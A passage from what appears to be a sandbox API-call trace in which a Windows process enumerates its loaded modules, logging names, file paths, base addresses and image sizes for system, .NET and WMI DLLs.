"c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0055.209] GetLastError () returned 0x2 [0055.209] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75b60000, lpmodinfo=0x2630488, cb=0xc | out: lpmodinfo=0x2630488*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0055.209] GetLastError () returned 0x2 [0055.209] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0055.209] GetLastError () returned 0x2 [0055.209] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0055.210] GetLastError () returned 0x2 [0055.210] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75150000, lpmodinfo=0x263157c, cb=0xc | out: lpmodinfo=0x263157c*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0055.210] GetLastError () returned 0x2 [0055.210] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0055.211] GetLastError () returned 0x2 [0055.211] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0055.211] GetLastError () returned 0x2 [0055.211] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74a90000, lpmodinfo=0x2632670, cb=0xc | out: lpmodinfo=0x2632670*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0055.211] GetLastError () returned 0x2 [0055.211] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0055.212] GetLastError () returned 0x2 [0055.212] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0055.212] GetLastError () returned 0x2 [0055.212] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74000000, lpmodinfo=0x263376c, cb=0xc | out: lpmodinfo=0x263376c*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0055.213] GetLastError () returned 0x2 [0055.213] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0055.213] GetLastError () returned 0x2 [0055.213] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0055.213] GetLastError () returned 0x2 [0055.214] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749f0000, lpmodinfo=0x26348a4, cb=0xc | out: lpmodinfo=0x26348a4*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0055.214] GetLastError () returned 0x2 [0055.214] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0055.214] GetLastError () returned 0x2 [0055.214] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0055.215] GetLastError () returned 0x2 [0055.215] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75fd0000, lpmodinfo=0x2635a38, cb=0xc | out: lpmodinfo=0x2635a38*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0055.215] GetLastError () returned 0x2 [0055.215] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0055.216] GetLastError () returned 0x2 [0055.216] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0055.216] GetLastError () returned 0x2 [0055.216] GetModuleInformation (in: hProcess=0x4e4, hModule=0x755e0000, lpmodinfo=0x2636b34, cb=0xc | out: lpmodinfo=0x2636b34*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0055.217] GetLastError () returned 0x2 [0055.217] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0055.217] GetLastError () returned 0x2 [0055.217] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0055.218] GetLastError () returned 0x2 [0055.218] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749e0000, lpmodinfo=0x2637c28, cb=0xc | out: lpmodinfo=0x2637c28*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0055.218] GetLastError () returned 0x2 [0055.218] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0055.219] GetLastError () returned 0x2 [0055.219] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0055.219] GetLastError () returned 0x2 [0055.219] GetModuleInformation (in: hProcess=0x4e4, hModule=0x729c0000, lpmodinfo=0x2638d24, cb=0xc | out: lpmodinfo=0x2638d24*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0055.220] GetLastError () returned 0x2 [0055.220] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0055.220] GetLastError () returned 0x2 [0055.220] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0055.221] GetLastError () returned 0x2 [0055.221] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745d0000, lpmodinfo=0x2639ebc, cb=0xc | out: lpmodinfo=0x2639ebc*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0055.221] GetLastError () returned 0x2 [0055.221] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0055.222] GetLastError () returned 0x2 [0055.222] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0055.222] GetLastError () returned 0x2 [0055.222] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747d0000, lpmodinfo=0x263afb8, cb=0xc | out: lpmodinfo=0x263afb8*(lpBaseOfDll=0x747d0000, SizeOfImage=0x16000, EntryPoint=0x747d2dc3)) returned 1 [0055.223] GetLastError () returned 0x2 [0055.223] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0055.223] GetLastError () returned 0x2 [0055.223] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0055.224] GetLastError () returned 0x2 [0055.224] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74790000, lpmodinfo=0x263c0b4, cb=0xc | out: lpmodinfo=0x263c0b4*(lpBaseOfDll=0x74790000, SizeOfImage=0x3b000, EntryPoint=0x7479128d)) returned 1 [0055.224] GetLastError () returned 0x2 [0055.224] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74790000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0055.225] GetLastError () returned 0x2 [0055.225] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74790000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0055.225] GetLastError () returned 0x2 [0055.225] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74920000, lpmodinfo=0x263d1b0, cb=0xc | out: lpmodinfo=0x263d1b0*(lpBaseOfDll=0x74920000, SizeOfImage=0x5b000, EntryPoint=0x74964d48)) returned 1 [0055.226] GetLastError () returned 0x2 [0055.226] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74920000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0055.226] GetLastError () returned 0x2 [0055.226] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74920000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0055.227] GetLastError () returned 0x2 [0055.227] GetModuleInformation (in: hProcess=0x4e4, hModule=0x71a80000, lpmodinfo=0x263e2e8, cb=0xc | out: lpmodinfo=0x263e2e8*(lpBaseOfDll=0x71a80000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0055.227] GetLastError () returned 0x2 [0055.227] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x71a80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0055.228] GetLastError () returned 0x2 [0055.228] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x71a80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0055.229] GetLastError () returned 0x2 [0055.229] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73e70000, lpmodinfo=0x263f474, cb=0xc | out: lpmodinfo=0x263f474*(lpBaseOfDll=0x73e70000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0055.229] GetLastError () returned 0x2 [0055.229] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73e70000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0055.230] GetLastError () returned 0x2 [0055.230] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73e70000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0055.230] GetLastError () returned 0x2 [0055.230] GetModuleInformation (in: hProcess=0x4e4, hModule=0x70ea0000, lpmodinfo=0x2640630, cb=0xc | out: lpmodinfo=0x2640630*(lpBaseOfDll=0x70ea0000, SizeOfImage=0xbde000, EntryPoint=0x0)) returned 1 [0055.231] GetLastError () returned 0x2 [0055.231] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x70ea0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0055.231] GetLastError () returned 0x2 [0055.231] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x70ea0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")) returned 0x80 [0055.232] GetLastError () returned 0x2 [0055.232] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73cd0000, lpmodinfo=0x2641920, cb=0xc | out: lpmodinfo=0x2641920*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0055.233] GetLastError () returned 0x2 [0055.233] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73cd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0055.234] GetLastError () returned 0x2 [0055.234] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73cd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0055.234] GetLastError () returned 0x2 [0055.234] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749c0000, lpmodinfo=0x2642b04, cb=0xc | out: lpmodinfo=0x2642b04*(lpBaseOfDll=0x749c0000, SizeOfImage=0x17000, EntryPoint=0x749c35fa)) returned 1 [0055.235] GetLastError () returned 0x2 [0055.235] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0055.236] GetLastError () returned 0x2 [0055.236] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0055.236] GetLastError () returned 0x2 [0055.236] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749b0000, lpmodinfo=0x2643c00, cb=0xc | out: lpmodinfo=0x2643c00*(lpBaseOfDll=0x749b0000, SizeOfImage=0xe000, EntryPoint=0x749b1235)) returned 1 [0055.237] GetLastError () returned 0x2 [0055.237] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RpcRtRemote.dll") returned 0xf [0055.238] GetLastError () returned 0x2 [0055.238] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")) returned 0x23 [0055.239] GetLastError () returned 0x2 [0055.239] GetModuleInformation (in: hProcess=0x4e4, hModule=0x752b0000, lpmodinfo=0x2644d0c, cb=0xc | out: lpmodinfo=0x2644d0c*(lpBaseOfDll=0x752b0000, SizeOfImage=0x83000, EntryPoint=0x752b23d2)) returned 1 [0055.239] GetLastError () returned 0x2 [0055.239] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x752b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0055.240] GetLastError () returned 0x2 [0055.240] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x752b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0055.240] GetLastError () returned 0x2 [0055.241] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75220000, lpmodinfo=0x2645e08, cb=0xc | out: lpmodinfo=0x2645e08*(lpBaseOfDll=0x75220000, SizeOfImage=0x8f000, EntryPoint=0x75223fb1)) returned 1 [0055.241] GetLastError () returned 0x2 [0055.241] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75220000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0055.242] GetLastError () returned 0x2 [0055.242] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75220000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0055.243] GetLastError () returned 0x2 [0055.243] GetModuleInformation (in: hProcess=0x4e4, hModule=0x748e0000, lpmodinfo=0x2646f0c, cb=0xc | out: lpmodinfo=0x2646f0c*(lpBaseOfDll=0x748e0000, SizeOfImage=0x31000, EntryPoint=0x748e12d7)) returned 1 [0055.243] GetLastError () returned 0x2 [0055.243] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x748e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemdisp.dll") returned 0xc [0055.244] GetLastError () returned 0x2 [0055.244] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x748e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll")) returned 0x25 [0055.245] GetLastError () returned 0x2 [0055.245] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74880000, lpmodinfo=0x2648018, cb=0xc | out: lpmodinfo=0x2648018*(lpBaseOfDll=0x74880000, SizeOfImage=0x5c000, EntryPoint=0x748a2b48)) returned 1 [0055.245] GetLastError () returned 0x2 [0055.245] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74880000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemcomn.dll") returned 0xc [0055.246] GetLastError () returned 0x2 [0055.246] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74880000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")) returned 0x20 [0055.247] GetLastError () returned 0x2 [0055.247] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75bc0000, lpmodinfo=0x264911c, cb=0xc | out: lpmodinfo=0x264911c*(lpBaseOfDll=0x75bc0000, SizeOfImage=0x35000, EntryPoint=0x75bc145d)) returned 1 [0055.248] GetLastError () returned 0x2 [0055.248] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75bc0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WS2_32.dll") returned 0xa [0055.248] GetLastError () returned 0x2 [0055.248] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75bc0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")) returned 0x1e [0055.249] GetLastError () returned 0x2 [0055.249] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d30000, lpmodinfo=0x264a218, cb=0xc | out: lpmodinfo=0x264a218*(lpBaseOfDll=0x74d30000, SizeOfImage=0x6000, EntryPoint=0x74d31782)) returned 1 [0055.250] GetLastError () returned 0x2 [0055.250] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NSI.dll") returned 0x7 [0055.250] GetLastError () returned 0x2 [0055.250] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\NSI.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")) returned 0x1b [0055.251] GetLastError () returned 0x2 [0055.251] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749a0000, lpmodinfo=0x264b304, cb=0xc | out: lpmodinfo=0x264b304*(lpBaseOfDll=0x749a0000, SizeOfImage=0xa000, EntryPoint=0x749a149a)) returned 1 [0055.252] GetLastError () returned 0x2 [0055.252] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemprox.dll") returned 0xc [0055.253] GetLastError () returned 0x2 [0055.253] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")) returned 0x25 [0055.253] GetLastError () returned 0x2 [0055.253] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74980000, lpmodinfo=0x264c410, cb=0xc | out: lpmodinfo=0x264c410*(lpBaseOfDll=0x74980000, SizeOfImage=0x17000, EntryPoint=0x749876c5)) returned 1 [0055.254] GetLastError () returned 0x2 [0055.254] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wmiutils.dll") returned 0xc [0055.255] GetLastError () returned 0x2 [0055.255] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")) returned 0x25 [0055.256] GetLastError () returned 0x2 [0055.256] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74870000, lpmodinfo=0x264d51c, cb=0xc | out: lpmodinfo=0x264d51c*(lpBaseOfDll=0x74870000, SizeOfImage=0xf000, EntryPoint=0x748721a0)) returned 1 [0055.256] GetLastError () returned 0x2 [0055.257] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74870000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemsvc.dll") returned 0xb [0055.257] GetLastError () returned 0x2 [0055.257] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74870000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")) returned 0x24 [0055.258] GetLastError () returned 0x2 [0055.258] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73c30000, lpmodinfo=0x264e624, cb=0xc | out: lpmodinfo=0x264e624*(lpBaseOfDll=0x73c30000, SizeOfImage=0x96000, EntryPoint=0x73c4f8b9)) returned 1 [0055.259] GetLastError () returned 0x2 [0055.259] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73c30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fastprox.dll") returned 0xc [0055.260] GetLastError () returned 0x2 [0055.260] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73c30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")) returned 0x25 [0055.260] GetLastError () returned 0x2 [0055.260] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74850000, lpmodinfo=0x264f730, cb=0xc | out: lpmodinfo=0x264f730*(lpBaseOfDll=0x74850000, SizeOfImage=0x18000, EntryPoint=0x74851335)) returned 1 [0055.261] GetLastError () returned 0x2 [0055.261] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74850000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NTDSAPI.dll") returned 0xb [0055.262] GetLastError () returned 0x2 [0055.262] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74850000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\NTDSAPI.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")) returned 0x1f [0055.263] GetLastError () returned 0x2 [0055.263] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747f0000, lpmodinfo=0x265082c, cb=0xc | out: lpmodinfo=0x265082c*(lpBaseOfDll=0x747f0000, SizeOfImage=0x5f000, EntryPoint=0x747f2134)) returned 1 [0055.264] GetLastError () returned 0x2 [0055.264] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SXS.DLL") returned 0x7 [0055.265] GetLastError () returned 0x2 [0055.265] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\SXS.DLL" (normalized: "c:\\windows\\system32\\sxs.dll")) returned 0x1b [0055.265] GetLastError () returned 0x2 [0055.265] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74750000, lpmodinfo=0x2651918, cb=0xc | out: lpmodinfo=0x2651918*(lpBaseOfDll=0x74750000, SizeOfImage=0x3a000, EntryPoint=0x0)) returned 1 [0055.266] GetLastError () returned 0x2 [0055.266] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74750000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.ni.dll") returned 0x17 [0055.267] GetLastError () returned 0x2 [0055.267] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74750000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")) returned 0x78 [0055.268] GetLastError () returned 0x2 [0055.268] GetModuleInformation (in: hProcess=0x4e4, hModule=0x60350000, lpmodinfo=0x2652ae0, cb=0xc | out: lpmodinfo=0x2652ae0*(lpBaseOfDll=0x60350000, SizeOfImage=0x15000, EntryPoint=0x603547b6)) returned 1 [0055.276] GetLastError () returned 0x2 [0055.276] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x60350000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.dll") returned 0x14 [0055.277] GetLastError () returned 0x2 [0055.277] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x60350000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")) returned 0x5a [0055.278] GetLastError () returned 0x2 [0055.278] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73b20000, lpmodinfo=0x2653c68, cb=0xc | out: lpmodinfo=0x2653c68*(lpBaseOfDll=0x73b20000, SizeOfImage=0x104000, EntryPoint=0x0)) returned 1 [0055.278] GetLastError () returned 0x2 [0055.278] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Management.ni.dll") returned 0x18 [0055.279] GetLastError () returned 0x2 [0055.279] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")) returned 0x7a [0055.280] GetLastError () returned 0x2 [0055.280] GetModuleInformation (in: hProcess=0x4e4, hModule=0x6a310000, lpmodinfo=0x2654e38, cb=0xc | out: lpmodinfo=0x2654e38*(lpBaseOfDll=0x6a310000, SizeOfImage=0x9000, EntryPoint=0x6a31389b)) returned 1 [0055.281] GetLastError () returned 0x2 [0055.281] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x6a310000, lpBaseName=0x787820, nSize=0x800 | out: 